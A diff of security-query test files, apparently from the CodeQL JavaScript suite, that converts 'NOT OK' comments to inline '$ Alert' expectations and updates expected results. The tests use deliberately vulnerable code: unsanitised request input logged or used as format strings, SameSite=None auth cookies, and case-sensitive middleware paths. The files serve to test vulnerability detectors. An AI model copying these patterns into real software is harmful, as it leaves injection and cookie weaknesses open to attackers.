-        console.error(`[ERROR] Error: "${error}"`); // NOT OK
+        console.error(`[ERROR] Error: "${error}"`); // $ Alert
     }
 });
 
@@ -43,43 +43,43 @@ const chalk = require('chalk');
 import stripAnsi from 'strip-ansi';
 
 const server2 = http.createServer((req, res) => {
-    let q = url.parse(req.url, true);
+    let q = url.parse(req.url, true); // $ Source
     let username = q.query.username;
 
-    console.info(ansiColors.yellow.underline(username)); // NOT OK
-    console.info(colors.red.underline(username)); // NOT OK
-    console.info(wrapAnsi(colors.red.underline(username), 20)); // NOT OK
-    console.log(underline(bold(blue(username)))); // NOT OK
-    console.log(highlight(username, {language: 'sql', ignoreIllegals: true})); // NOT OK
-    console.log(clc.red.bgWhite.underline(username)); // NOT OK
-    console.log(sliceAnsi(colors.red.underline(username), 20, 30)); // NOT OK
-    console.log(kleur.blue().bold().underline(username)); // NOT OK
-    console.log(chalk.underline.bgBlue(username)); // NOT OK
-    console.log(stripAnsi(chalk.underline.bgBlue(username))); // NOT OK
+    console.info(ansiColors.yellow.underline(username)); // $ Alert
+    console.info(colors.red.underline(username)); // $ Alert
+    console.info(wrapAnsi(colors.red.underline(username), 20)); // $ Alert
+    console.log(underline(bold(blue(username)))); // $ Alert
+    console.log(highlight(username, {language: 'sql', ignoreIllegals: true})); // $ Alert
+    console.log(clc.red.bgWhite.underline(username)); // $ Alert
+    console.log(sliceAnsi(colors.red.underline(username), 20, 30)); // $ Alert
+    console.log(kleur.blue().bold().underline(username)); // $ Alert
+    console.log(chalk.underline.bgBlue(username)); // $ Alert
+    console.log(stripAnsi(chalk.underline.bgBlue(username))); // $ Alert
 });
 
 var prettyjson = require('prettyjson');
 const server3 = http.createServer((req, res) => {
-    let q = url.parse(req.url, true);
+    let q = url.parse(req.url, true); // $ Source
     let username = q.query.username;
 
-    console.log(prettyjson.render(username)); // NOT OK
+    console.log(prettyjson.render(username)); // $ Alert
 
 });
 
 const pino = require('pino')()
 const server4 = http.createServer((req, res) => {
-    let q = url.parse(req.url, true);
+    let q = url.parse(req.url, true); // $ Source
     let username = q.query.username;
 
-    pino.info(username); // NOT OK
+    pino.info(username); // $ Alert
 
     function fastify() {
         const fastify = require('fastify')({
             logger: true
         });
         fastify.get('/', async (request, reply) => {
-            request.log.info(username); // NOT OK
+            request.log.info(username); // $ Alert
             return { hello: 'world' }
         });
     }
@@ -88,7 +88,7 @@ const server4 = http.createServer((req, res) => {
         const express = require('express');
         const app = express();
         app.get('/', (req, res) => {
-            req.log.info(username); // NOT OK
+            req.log.info(username); // $ Alert
             res.send({ hello: 'world' });
         });
     }
@@ -96,7 +96,7 @@ const server4 = http.createServer((req, res) => {
     function http() {
         const http = require('http');
         const server = http.createServer((req, res) => {
-            req.log.info(username); // NOT OK
+            req.log.info(username); // $ Alert
             res.end('Hello World\n');
         });
         server.listen(3000);
@@ -110,7 +110,7 @@ const server4 = http.createServer((req, res) => {
             method: 'GET',
             path: '/',
             handler: (request, reply) => {
-                request.logger.info(username); // NOT OK
+                request.logger.info(username); // $ Alert
                 reply({ hello: 'world' });
             }
         });
@@ -119,12 +119,12 @@ const server4 = http.createServer((req, res) => {
 });
 
 const serverMatchAll = http.createServer((req, res) => {
-    let username = url.parse(req.url, true).query.username;
-    let otherStr = username.matchAll(/.*/g)[0]; // BAD
-    console.log(otherStr);
+    let username = url.parse(req.url, true).query.username; // $ Source
+    let otherStr = username.matchAll(/.*/g)[0];
+    console.log(otherStr); // $ Alert
 });
 
 const serverMatchAl2l = http.createServer((req, res) => {
-    const result = url.parse(req.url, true).query.username.matchAll(/(\d+)/g); // BAD
-    console.log("First captured group:", RegExp.$1);
+    const result = url.parse(req.url, true).query.username.matchAll(/(\d+)/g); // $ Source
+    console.log("First captured group:", RegExp.$1); // $ Alert
 });
diff --git a/javascript/ql/test/query-tests/Security/CWE-117/logInjectionGood.js b/javascript/ql/test/query-tests/Security/CWE-117/logInjectionGood.js
index 92707931399c..a0fc508808e5 100644
--- a/javascript/ql/test/query-tests/Security/CWE-117/logInjectionGood.js
+++ b/javascript/ql/test/query-tests/Security/CWE-117/logInjectionGood.js
@@ -14,13 +14,13 @@ const another_logger = console.log
 const server = http.createServer((req, res) => {
     let q = url.parse(req.url, true);
 
-    // GOOD: remove `\n` line from user controlled input before logging
+    // OK - remove `\n` line from user controlled input before logging
     let username = q.query.username.replace(/\n|\r/g, "");
 
-    console.info(`[INFO] User: ${username}`); // OK
-    console.info(`[INFO] User: %s`, username); // OK
-    logger.log('[INFO] User:', username); // OK
-    another_logger('[INFO] User:', username); // OK
+    console.info(`[INFO] User: ${username}`);
+    console.info(`[INFO] User: %s`, username);
+    logger.log('[INFO] User:', username);
+    another_logger('[INFO] User:', username);
     try {
         check_username(username)
     } catch (error) {
diff --git a/javascript/ql/test/query-tests/Security/CWE-1275/SameSiteNoneCookie.expected b/javascript/ql/test/query-tests/Security/CWE-1275/SameSiteNoneCookie.expected
index 4517e5a92fd6..6d145422416c 100644
--- a/javascript/ql/test/query-tests/Security/CWE-1275/SameSiteNoneCookie.expected
+++ b/javascript/ql/test/query-tests/Security/CWE-1275/SameSiteNoneCookie.expected
@@ -1,8 +1,8 @@
-| tst-sameSite.js:4:3:8:4 | Cookies ... OK\\n  }) | Sensitive cookie with SameSite set to 'None'. |
-| tst-sameSite.js:20:3:25:4 | cookies ... OK\\n  }) | Sensitive cookie with SameSite set to 'None'. |
+| tst-sameSite.js:4:3:8:4 | Cookies ... ",\\n  }) | Sensitive cookie with SameSite set to 'None'. |
+| tst-sameSite.js:20:3:25:4 | cookies ... ",\\n  }) | Sensitive cookie with SameSite set to 'None'. |
 | tst-sameSite.js:38:19:43:4 | cookie. ... ",\\n  }) | Sensitive cookie with SameSite set to 'None'. |
-| tst-sameSite.js:58:3:63:4 | res.coo ... OK\\n  }) | Sensitive cookie with SameSite set to 'None'. |
-| tst-sameSite.js:76:3:82:4 | session ... OK\\n  }) | Sensitive cookie with SameSite set to 'None'. |
+| tst-sameSite.js:58:3:63:4 | res.coo ... ",\\n  }) | Sensitive cookie with SameSite set to 'None'. |
+| tst-sameSite.js:76:3:82:4 | session ... ",\\n  }) | Sensitive cookie with SameSite set to 'None'. |
 | tst-sameSite.js:98:3:106:4 | express ... },\\n  }) | Sensitive cookie with SameSite set to 'None'. |
 | tst-sameSite.js:126:33:126:70 | "authKe ... Secure" | Sensitive cookie with SameSite set to 'None'. |
 | tst-sameSite.js:134:3:134:17 | document.cookie | Sensitive cookie with SameSite set to 'None'. |
diff --git a/javascript/ql/test/query-tests/Security/CWE-1275/SameSiteNoneCookie.qlref b/javascript/ql/test/query-tests/Security/CWE-1275/SameSiteNoneCookie.qlref
index 17564c47089c..3bf83f381d51 100644
--- a/javascript/ql/test/query-tests/Security/CWE-1275/SameSiteNoneCookie.qlref
+++ b/javascript/ql/test/query-tests/Security/CWE-1275/SameSiteNoneCookie.qlref
@@ -1 +1,2 @@
-Security/CWE-1275/SameSiteNoneCookie.ql
+query: Security/CWE-1275/SameSiteNoneCookie.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Security/CWE-1275/tst-sameSite.js b/javascript/ql/test/query-tests/Security/CWE-1275/tst-sameSite.js
index 7da32e3ca9b6..f697267d55d8 100644
--- a/javascript/ql/test/query-tests/Security/CWE-1275/tst-sameSite.js
+++ b/javascript/ql/test/query-tests/Security/CWE-1275/tst-sameSite.js
@@ -4,13 +4,13 @@ function esCookies() {
   Cookies.set("authkey", "value", {
     secure: true,
     httpOnly: true,
-    sameSite: "None", // NOT OK
-  });
+    sameSite: "None",
+  }); // $ Alert
 
   Cookies.set("authkey", "value", {
     secure: true,
     httpOnly: true,
-    sameSite: "Strict", // OK
+    sameSite: "Strict",
   });
 }
 
@@ -21,14 +21,14 @@ function browserCookies() {
     expires: 365,
     secure: true,
     httponly: true,
-    samesite: "None", // NOT OK
-  });
+    samesite: "None",
+  }); // $ Alert
 
   cookies.set("authkey", "value", {
     expires: 365,
     secure: true,
     httponly: true,
-    samesite: "Strict", // OK
+    samesite: "Strict",
   });
 }
 
@@ -40,13 +40,13 @@ function cookie() {
     httpOnly: true,
     secure: true,
     sameSite: "None",
-  });
+  }); // $ Alert
 
   var setCookie = cookie.serialize("authkey", "value", {
     maxAge: 9000000000,
     httpOnly: true,
     secure: true,
-    sameSite: true, // OK
+    sameSite: true,
   });
 }
 
@@ -59,14 +59,14 @@ app.get("/a", function (req, res, next) {
     maxAge: 9000000000,
     httpOnly: true,
     secure: true,
-    sameSite: "None", // NOT OK
-  });
+    sameSite: "None",
+  }); // $ Alert
 
   res.cookie("session", "value", {
     maxAge: 9000000000,
     httpOnly: true,
     secure: true,
-    sameSite: "Strict", // OK
+    sameSite: "Strict",
   });
 
   res.end("ok");
@@ -78,8 +78,8 @@ app.use(
     keys: ["key1", "key2"],
     httpOnly: true,
     secure: true,
-    sameSite: "None", // NOT OK
-  })
+    sameSite: "None",
+  }) // $ Alert
 );
 
 app.use(
@@ -88,7 +88,7 @@ app.use(
     keys: ["key1", "key2"],
     httpOnly: true,
     secure: true,
-    sameSite: "Strict", // OK
+    sameSite: "Strict",
   })
 );
 
@@ -101,9 +101,9 @@ app.use(
     cookie: {
       httpOnly: true,
       secure: true,
-      sameSite: "None", // NOT OK
+      sameSite: "None",
     },
-  })
+  }) // $ Alert
 );
 
 app.use(
@@ -113,7 +113,7 @@ app.use(
     cookie: {
       httpOnly: true,
       secure: true,
-      sameSite: "Strict", // OK
+      sameSite: "Strict",
     },
   })
 );
@@ -123,15 +123,15 @@ const http = require("http");
 function test1() {
   const server = http.createServer((req, res) => {
     res.setHeader("Content-Type", "text/html");
-    res.setHeader("Set-Cookie", "authKey=ninja; SameSite=None; Secure"); // NOT OK
-    res.setHeader("Set-Cookie", "authKey=ninja; SameSite=Strict; Secure"); // OK
+    res.setHeader("Set-Cookie", "authKey=ninja; SameSite=None; Secure"); // $ Alert
+    res.setHeader("Set-Cookie", "authKey=ninja; SameSite=Strict; Secure");
     res.writeHead(200, { "Content-Type": "text/plain" });
     res.end("ok");
   });
 }
 
 function documentCookie() {
-  document.cookie = "authKey=ninja; SameSite=None; Secure"; // NOT OK
-  document.cookie = "authKey=ninja; SameSite=Strict; Secure"; // OK
+  document.cookie = "authKey=ninja; SameSite=None; Secure"; // $ Alert
+  document.cookie = "authKey=ninja; SameSite=Strict; Secure";
 }
 
diff --git a/javascript/ql/test/query-tests/Security/CWE-134/TaintedFormatString.qlref b/javascript/ql/test/query-tests/Security/CWE-134/TaintedFormatString.qlref
index 0a25a83a7ec7..22f144ee632c 100644
--- a/javascript/ql/test/query-tests/Security/CWE-134/TaintedFormatString.qlref
+++ b/javascript/ql/test/query-tests/Security/CWE-134/TaintedFormatString.qlref
@@ -1 +1,2 @@
-Security/CWE-134/TaintedFormatString.ql
+query: Security/CWE-134/TaintedFormatString.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Security/CWE-134/tst.js b/javascript/ql/test/query-tests/Security/CWE-134/tst.js
index f4c19e7c6ed5..3ccc97b8b795 100644
--- a/javascript/ql/test/query-tests/Security/CWE-134/tst.js
+++ b/javascript/ql/test/query-tests/Security/CWE-134/tst.js
@@ -2,26 +2,26 @@ let express = require('express');
 let app = express();
 
 app.get("/some/path", (req, res) => {
-  util.format(req.query.format, arg);                        // NOT OK
-  require('util').format(req.query.format, arg);             // NOT OK
-  console.log(req.query.format, arg);                        // NOT OK
-  console.error(req.query.format, arg);                      // NOT OK
-  console.info(req.query.format, arg);                       // NOT OK
-  util.log(req.query.format, arg);                           // NOT OK
-  util.formatWithOptions(opts, req.query.format, arg);       // NOT OK
-  require('printf')(req.query.format, arg);                  // NOT OK
-  require('printf')(write_stream, req.query.format, arg);    // NOT OK
-  require('printj').sprintf(req.query.format, arg);          // NOT OK
-  require('printj').vsprintf(req.query.format, arg);         // NOT OK
-  require('format-util')(req.query.format, arg);             // NOT OK
-  require('string-template')(req.query.format, arg);         // NOT OK
-  require('string-template/compile')(req.query.format, arg); // NOT OK
-  util.format(req.query.format);                             // OK
-  console.debug(req.query.format, arg);                      // NOT OK
-  console.warn(req.query.format, arg);                       // NOT OK
-  console.trace(req.query.format, arg);                      // NOT OK
-  console.assert(false, req.query.format);                   // OK
-  console.assert(false, req.query.format, arg);              // NOT OK
-  require("sprintf-js").sprintf(req.query.format, arg);      // NOT OK
-  require("sprintf-js").vsprintf(req.query.format, args);    // NOT OK
+  util.format(req.query.format, arg);                        // $ Alert
+  require('util').format(req.query.format, arg);             // $ Alert
+  console.log(req.query.format, arg);                        // $ Alert
+  console.error(req.query.format, arg);                      // $ Alert
+  console.info(req.query.format, arg);                       // $ Alert
+  util.log(req.query.format, arg);                           // $ Alert
+  util.formatWithOptions(opts, req.query.format, arg);       // $ Alert
+  require('printf')(req.query.format, arg);                  // $ Alert
+  require('printf')(write_stream, req.query.format, arg);    // $ Alert
+  require('printj').sprintf(req.query.format, arg);          // $ Alert
+  require('printj').vsprintf(req.query.format, arg);         // $ Alert
+  require('format-util')(req.query.format, arg);             // $ Alert
+  require('string-template')(req.query.format, arg);         // $ Alert
+  require('string-template/compile')(req.query.format, arg); // $ Alert
+  util.format(req.query.format);
+  console.debug(req.query.format, arg);                      // $ Alert
+  console.warn(req.query.format, arg);                       // $ Alert
+  console.trace(req.query.format, arg);                      // $ Alert
+  console.assert(false, req.query.format);
+  console.assert(false, req.query.format, arg);              // $ Alert
+  require("sprintf-js").sprintf(req.query.format, arg);      // $ Alert
+  require("sprintf-js").vsprintf(req.query.format, args);    // $ Alert
 });
diff --git a/javascript/ql/test/query-tests/Security/CWE-178/CaseSensitiveMiddlewarePath.qlref b/javascript/ql/test/query-tests/Security/CWE-178/CaseSensitiveMiddlewarePath.qlref
index 757053037700..98046f80f09a 100644
--- a/javascript/ql/test/query-tests/Security/CWE-178/CaseSensitiveMiddlewarePath.qlref
+++ b/javascript/ql/test/query-tests/Security/CWE-178/CaseSensitiveMiddlewarePath.qlref
@@ -1 +1,2 @@
-Security/CWE-178/CaseSensitiveMiddlewarePath.ql
+query: Security/CWE-178/CaseSensitiveMiddlewarePath.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Security/CWE-178/tst.js b/javascript/ql/test/query-tests/Security/CWE-178/tst.js
index 81bbe993291a..9394d6303fa0 100644
--- a/javascript/ql/test/query-tests/Security/CWE-178/tst.js
+++ b/javascript/ql/test/query-tests/Security/CWE-178/tst.js
@@ -3,15 +3,15 @@ const app = express();
 const unknown = require('~something/blah');
 
 app.all(/\/.*/, unknown()); // OK - does not contain letters
-app.all(/\/.*/i, unknown()); // OK
+app.all(/\/.*/i, unknown());
 
-app.all(/\/foo\/.*/, unknown()); // NOT OK
+app.all(/\/foo\/.*/, unknown()); // $ Alert
 app.all(/\/foo\/.*/i, unknown()); // OK - case insensitive
 
 app.use(/\/x\/#\d{6}/, express.static('images/')); // OK - not a middleware
 
 app.get(
-    new RegExp('^/foo(.*)?'), // NOT OK - case sensitive
+    new RegExp('^/foo(.*)?'), // $ Alert - case sensitive
     unknown(),
     function(req, res, next) {
         if (req.params.blah) {
@@ -38,7 +38,7 @@ app.get(
     }
 );
 
-app.use(/\/foo\/([0-9]+)/, (req, res, next) => { // NOT OK - case sensitive
+app.use(/\/foo\/([0-9]+)/, (req, res, next) => { // $ Alert - case sensitive
     unknown(req);
     next();
 });
@@ -61,7 +61,7 @@ app.get('/foo/:param', (req, res) => { // OK - not a middleware
 });
 
 app.get(
-    new RegExp('^/bar(.*)?'), // NOT OK - case sensitive
+    new RegExp('^/bar(.*)?'), // $ Alert - case sensitive
     unknown(),
     function(req, res, next) {
         if (req.params.blah) {
@@ -73,7 +73,7 @@ app.get(
 app.get('/bar/*', (req, res) => { // OK - not a middleware
 });
 
-app.use(/\/baz\/bla/, unknown()); // NOT OK - case sensitive
+app.use(/\/baz\/bla/, unknown()); // $ Alert - case sensitive
 app.get('/baz/bla', (req, resp) => {
   resp.send({ test: 123 });
 });
@@ -83,12 +83,12 @@ app.get('/baz2/a', (req, resp) => {
   resp.send({ test: 123 });
 });
 
-app.use(/\/[Bb][Aa][Zz]3\/[a]/, unknown()); // NOT OK - case sensitive
+app.use(/\/[Bb][Aa][Zz]3\/[a]/, unknown()); // $ Alert - case sensitive
 app.get('/baz3/a', (req, resp) => {
   resp.send({ test: 123 });
 });
 
-app.use(/\/summonerByName|\/currentGame/,apiLimit1, apiLimit2);
+app.use(/\/summonerByName|\/currentGame/,apiLimit1, apiLimit2); // $ Alert
 
 app.get('/currentGame', function (req, res) {
     res.send("FOO");
diff --git a/javascript/ql/test/query-tests/Security/CWE-200/FileAccessToHttp.expected b/javascript/ql/test/query-tests/Security/CWE-200/FileAccessToHttp.expected
index 2aa2fcbe3023..bde27032d4f2 100644
--- a/javascript/ql/test/query-tests/Security/CWE-200/FileAccessToHttp.expected
+++ b/javascript/ql/test/query-tests/Security/CWE-200/FileAccessToHttp.expected
@@ -1,22 +1,68 @@
+#select
+| FileAccessToHttp.js:5:11:10:1 | {\\n  hos ... ent }\\n} | FileAccessToHttp.js:4:15:4:47 | fs.read ... "utf8") | FileAccessToHttp.js:5:11:10:1 | {\\n  hos ... ent }\\n} | Outbound network request depends on $@. | FileAccessToHttp.js:4:15:4:47 | fs.read ... "utf8") | file data |
+| FileAccessToHttp.js:18:15:23:5 | {\\n      ... }\\n    } | FileAccessToHttp.js:16:21:16:56 | await f ... "utf8") | FileAccessToHttp.js:18:15:23:5 | {\\n      ... }\\n    } | Outbound network request depends on $@. | FileAccessToHttp.js:16:21:16:56 | await f ... "utf8") | file data |
+| FileAccessToHttp.js:36:13:41:3 | {\\n    h ... r }\\n  } | FileAccessToHttp.js:34:18:34:57 | [Buffer ... (1024)] | FileAccessToHttp.js:36:13:41:3 | {\\n    h ... r }\\n  } | Outbound network request depends on $@. | FileAccessToHttp.js:34:18:34:57 | [Buffer ... (1024)] | file data |
+| FileAccessToHttp.js:45:13:50:3 | {\\n    h ... ) }\\n  } | FileAccessToHttp.js:43:19:43:36 | Buffer.alloc(1024) | FileAccessToHttp.js:45:13:50:3 | {\\n    h ... ) }\\n  } | Outbound network request depends on $@. | FileAccessToHttp.js:43:19:43:36 | Buffer.alloc(1024) | file data |
+| FileAccessToHttp.js:54:15:59:5 | {\\n      ... }\\n    } | FileAccessToHttp.js:52:19:52:36 | Buffer.alloc(1024) | FileAccessToHttp.js:54:15:59:5 | {\\n      ... }\\n    } | Outbound network request depends on $@. | FileAccessToHttp.js:52:19:52:36 | Buffer.alloc(1024) | file data |
+| bufferRead.js:32:21:32:28 | postData | bufferRead.js:12:22:12:43 | new Buf ... s.size) | bufferRead.js:32:21:32:28 | postData | Outbound network request depends on $@. | bufferRead.js:12:22:12:43 | new Buf ... s.size) | file data |
+| googlecompiler.js:37:18:37:26 | post_data | googlecompiler.js:43:54:43:57 | data | googlecompiler.js:37:18:37:26 | post_data | Outbound network request depends on $@. | googlecompiler.js:43:54:43:57 | data | file data |
+| readFileSync.js:25:18:25:18 | s | readFileSync.js:5:12:5:39 | fs.read ... t.txt") | readFileSync.js:25:18:25:18 | s | Outbound network request depends on $@. | readFileSync.js:5:12:5:39 | fs.read ... t.txt") | file data |
+| readStreamRead.js:29:19:29:23 | chunk | readStreamRead.js:13:21:13:35 | readable.read() | readStreamRead.js:29:19:29:23 | chunk | Outbound network request depends on $@. | readStreamRead.js:13:21:13:35 | readable.read() | file data |
+| request.js:8:11:8:20 | {jsonData} | request.js:28:52:28:55 | data | request.js:8:11:8:20 | {jsonData} | Outbound network request depends on $@. | request.js:28:52:28:55 | data | file data |
+| request.js:16:11:23:3 | {\\n    u ... ody\\n  } | request.js:43:51:43:54 | data | request.js:16:11:23:3 | {\\n    u ... ody\\n  } | Outbound network request depends on $@. | request.js:43:51:43:54 | data | file data |
+| sentAsHeaders.js:14:20:19:9 | {\\n      ...       } | sentAsHeaders.js:10:79:10:84 | buffer | sentAsHeaders.js:14:20:19:9 | {\\n      ...       } | Outbound network request depends on $@. | sentAsHeaders.js:10:79:10:84 | buffer | file data |
+| sentAsHeaders.js:20:20:25:9 | {\\n      ...       } | sentAsHeaders.js:10:79:10:84 | buffer | sentAsHeaders.js:20:20:25:9 | {\\n      ...       } | Outbound network request depends on $@. | sentAsHeaders.js:10:79:10:84 | buffer | file data |
 edges
 | FileAccessToHttp.js:4:5:4:47 | content | FileAccessToHttp.js:9:23:9:29 | content | provenance |  |
 | FileAccessToHttp.js:4:15:4:47 | fs.read ... "utf8") | FileAccessToHttp.js:4:5:4:47 | content | provenance |  |
 | FileAccessToHttp.js:9:12:9:31 | { Referer: content } [Referer] | FileAccessToHttp.js:5:11:10:1 | {\\n  hos ... ent }\\n} | provenance |  |
 | FileAccessToHttp.js:9:23:9:29 | content | FileAccessToHttp.js:9:12:9:31 | { Referer: content } [Referer] | provenance |  |
+| FileAccessToHttp.js:16:11:16:56 | content | FileAccessToHttp.js:22:27:22:33 | content | provenance |  |
+| FileAccessToHttp.js:16:21:16:56 | await f ... "utf8") | FileAccessToHttp.js:16:11:16:56 | content | provenance |  |
+| FileAccessToHttp.js:22:16:22:35 | { Referer: content } [Referer] | FileAccessToHttp.js:18:15:23:5 | {\\n      ... }\\n    } | provenance |  |
+| FileAccessToHttp.js:22:27:22:33 | content | FileAccessToHttp.js:22:16:22:35 | { Referer: content } [Referer] | provenance |  |
+| FileAccessToHttp.js:34:9:34:57 | buffer | FileAccessToHttp.js:40:25:40:30 | buffer | provenance |  |
+| FileAccessToHttp.js:34:18:34:57 | [Buffer ... (1024)] | FileAccessToHttp.js:34:9:34:57 | buffer | provenance |  |
+| FileAccessToHttp.js:40:14:40:32 | { Referer: buffer } [Referer] | FileAccessToHttp.js:36:13:41:3 | {\\n    h ... r }\\n  } | provenance |  |
+| FileAccessToHttp.js:40:25:40:30 | buffer | FileAccessToHttp.js:40:14:40:32 | { Referer: buffer } [Referer] | provenance |  |
+| FileAccessToHttp.js:43:9:43:36 | buffer1 | FileAccessToHttp.js:49:25:49:31 | buffer1 | provenance |  |
+| FileAccessToHttp.js:43:19:43:36 | Buffer.alloc(1024) | FileAccessToHttp.js:43:9:43:36 | buffer1 | provenance |  |
+| FileAccessToHttp.js:49:14:49:65 | { Refer ... ing() } [Referer] | FileAccessToHttp.js:45:13:50:3 | {\\n    h ... ) }\\n  } | provenance |  |
+| FileAccessToHttp.js:49:25:49:31 | buffer1 | FileAccessToHttp.js:49:25:49:52 | buffer1 ... sRead1) | provenance |  |
+| FileAccessToHttp.js:49:25:49:31 | buffer1 | FileAccessToHttp.js:49:25:49:52 | buffer1 ... sRead1) [ArrayElement] | provenance |  |
+| FileAccessToHttp.js:49:25:49:52 | buffer1 ... sRead1) | FileAccessToHttp.js:49:25:49:63 | buffer1 ... tring() | provenance |  |
+| FileAccessToHttp.js:49:25:49:52 | buffer1 ... sRead1) [ArrayElement] | FileAccessToHttp.js:49:25:49:63 | buffer1 ... tring() | provenance |  |
+| FileAccessToHttp.js:49:25:49:63 | buffer1 ... tring() | FileAccessToHttp.js:49:14:49:65 | { Refer ... ing() } [Referer] | provenance |  |
+| FileAccessToHttp.js:52:9:52:36 | buffer2 | FileAccessToHttp.js:53:17:53:23 | buffer2 | provenance |  |
+| FileAccessToHttp.js:52:19:52:36 | Buffer.alloc(1024) | FileAccessToHttp.js:52:9:52:36 | buffer2 | provenance |  |
+| FileAccessToHttp.js:53:17:53:23 | buffer2 | FileAccessToHttp.js:58:27:58:33 | buffer2 | provenance |  |
+| FileAccessToHttp.js:58:16:58:67 | { Refer ... ing() } [Referer] | FileAccessToHttp.js:54:15:59:5 | {\\n      ... }\\n    } | provenance |  |
+| FileAccessToHttp.js:58:27:58:33 | buffer2 | FileAccessToHttp.js:58:27:58:54 | buffer2 ... sRead2) | provenance |  |
+| FileAccessToHttp.js:58:27:58:33 | buffer2 | FileAccessToHttp.js:58:27:58:54 | buffer2 ... sRead2) [ArrayElement] | provenance |  |
+| FileAccessToHttp.js:58:27:58:54 | buffer2 ... sRead2) | FileAccessToHttp.js:58:27:58:65 | buffer2 ... tring() | provenance |  |
+| FileAccessToHttp.js:58:27:58:54 | buffer2 ... sRead2) [ArrayElement] | FileAccessToHttp.js:58:27:58:65 | buffer2 ... tring() | provenance |  |
+| FileAccessToHttp.js:58:27:58:65 | buffer2 ... tring() | FileAccessToHttp.js:58:16:58:67 | { Refer ... ing() } [Referer] | provenance |  |
 | bufferRead.js:12:13:12:43 | buffer | bufferRead.js:13:21:13:26 | buffer | provenance |  |
 | bufferRead.js:12:13:12:43 | buffer | bufferRead.js:13:32:13:37 | buffer | provenance |  |
 | bufferRead.js:12:22:12:43 | new Buf ... s.size) | bufferRead.js:12:13:12:43 | buffer | provenance |  |
 | bufferRead.js:13:21:13:26 | buffer | bufferRead.js:13:32:13:37 | buffer | provenance |  |
 | bufferRead.js:13:32:13:37 | buffer | bufferRead.js:15:26:15:31 | buffer | provenance |  |
-| bufferRead.js:15:15:15:62 | postData | bufferRead.js:33:21:33:28 | postData | provenance |  |
+| bufferRead.js:15:15:15:62 | postData | bufferRead.js:32:21:32:28 | postData | provenance |  |
 | bufferRead.js:15:26:15:31 | buffer | bufferRead.js:15:26:15:62 | buffer. ... esRead) | provenance |  |
 | bufferRead.js:15:26:15:62 | buffer. ... esRead) | bufferRead.js:15:15:15:62 | postData | provenance |  |
+| googlecompiler.js:7:19:7:28 | codestring | googlecompiler.js:14:21:14:30 | codestring | provenance |  |
+| googlecompiler.js:9:7:15:4 | post_data | googlecompiler.js:37:18:37:26 | post_data | provenance |  |
+| googlecompiler.js:9:19:15:4 | queryst ... dy\\n  }) | googlecompiler.js:9:7:15:4 | post_data | provenance |  |
+| googlecompiler.js:9:41:15:3 | {\\n      ... ody\\n  } [js_code] | googlecompiler.js:9:19:15:4 | queryst ... dy\\n  }) | provenance |  |
+| googlecompiler.js:14:21:14:30 | codestring | googlecompiler.js:9:41:15:3 | {\\n      ... ody\\n  } [js_code] | provenance |  |
+| googlecompiler.js:43:54:43:57 | data | googlecompiler.js:55:14:55:17 | data | provenance |  |
+| googlecompiler.js:55:14:55:17 | data | googlecompiler.js:7:19:7:28 | codestring | provenance |  |
 | readFileSync.js:5:5:5:39 | data | readFileSync.js:7:11:7:14 | data | provenance |  |
 | readFileSync.js:5:12:5:39 | fs.read ... t.txt") | readFileSync.js:5:5:5:39 | data | provenance |  |
-| readFileSync.js:7:7:7:25 | s | readFileSync.js:26:18:26:18 | s | provenance |  |
+| readFileSync.js:7:7:7:25 | s | readFileSync.js:25:18:25:18 | s | provenance |  |
 | readFileSync.js:7:11:7:14 | data | readFileSync.js:7:11:7:25 | data.toString() | provenance |  |
 | readFileSync.js:7:11:7:25 | data.toString() | readFileSync.js:7:7:7:25 | s | provenance |  |
-| readStreamRead.js:13:13:13:35 | chunk | readStreamRead.js:30:19:30:23 | chunk | provenance |  |
+| readStreamRead.js:13:13:13:35 | chunk | readStreamRead.js:29:19:29:23 | chunk | provenance |  |
 | readStreamRead.js:13:21:13:35 | readable.read() | readStreamRead.js:13:13:13:35 | chunk | provenance |  |
 | request.js:6:19:6:26 | jsonData | request.js:8:12:8:19 | jsonData | provenance |  |
 | request.js:8:12:8:19 | jsonData | request.js:8:11:8:20 | {jsonData} | provenance |  |
@@ -47,6 +93,33 @@ nodes
 | FileAccessToHttp.js:5:11:10:1 | {\\n  hos ... ent }\\n} | semmle.label | {\\n  hos ... ent }\\n} |
 | FileAccessToHttp.js:9:12:9:31 | { Referer: content } [Referer] | semmle.label | { Referer: content } [Referer] |
 | FileAccessToHttp.js:9:23:9:29 | content | semmle.label | content |
+| FileAccessToHttp.js:16:11:16:56 | content | semmle.label | content |
+| FileAccessToHttp.js:16:21:16:56 | await f ... "utf8") | semmle.label | await f ... "utf8") |
+| FileAccessToHttp.js:18:15:23:5 | {\\n      ... }\\n    } | semmle.label | {\\n      ... }\\n    } |
+| FileAccessToHttp.js:22:16:22:35 | { Referer: content } [Referer] | semmle.label | { Referer: content } [Referer] |
+| FileAccessToHttp.js:22:27:22:33 | content | semmle.label | content |
+| FileAccessToHttp.js:34:9:34:57 | buffer | semmle.label | buffer |
+| FileAccessToHttp.js:34:18:34:57 | [Buffer ... (1024)] | semmle.label | [Buffer ... (1024)] |
+| FileAccessToHttp.js:36:13:41:3 | {\\n    h ... r }\\n  } | semmle.label | {\\n    h ... r }\\n  } |
+| FileAccessToHttp.js:40:14:40:32 | { Referer: buffer } [Referer] | semmle.label | { Referer: buffer } [Referer] |
+| FileAccessToHttp.js:40:25:40:30 | buffer | semmle.label | buffer |
+| FileAccessToHttp.js:43:9:43:36 | buffer1 | semmle.label | buffer1 |
+| FileAccessToHttp.js:43:19:43:36 | Buffer.alloc(1024) | semmle.label | Buffer.alloc(1024) |
+| FileAccessToHttp.js:45:13:50:3 | {\\n    h ... ) }\\n  } | semmle.label | {\\n    h ... ) }\\n  } |
+| FileAccessToHttp.js:49:14:49:65 | { Refer ... ing() } [Referer] | semmle.label | { Refer ... ing() } [Referer] |
+| FileAccessToHttp.js:49:25:49:31 | buffer1 | semmle.label | buffer1 |
+| FileAccessToHttp.js:49:25:49:52 | buffer1 ... sRead1) | semmle.label | buffer1 ... sRead1) |
+| FileAccessToHttp.js:49:25:49:52 | buffer1 ... sRead1) [ArrayElement] | semmle.label | buffer1 ... sRead1) [ArrayElement] |
+| FileAccessToHttp.js:49:25:49:63 | buffer1 ... tring() | semmle.label | buffer1 ... tring() |
+| FileAccessToHttp.js:52:9:52:36 | buffer2 | semmle.label | buffer2 |
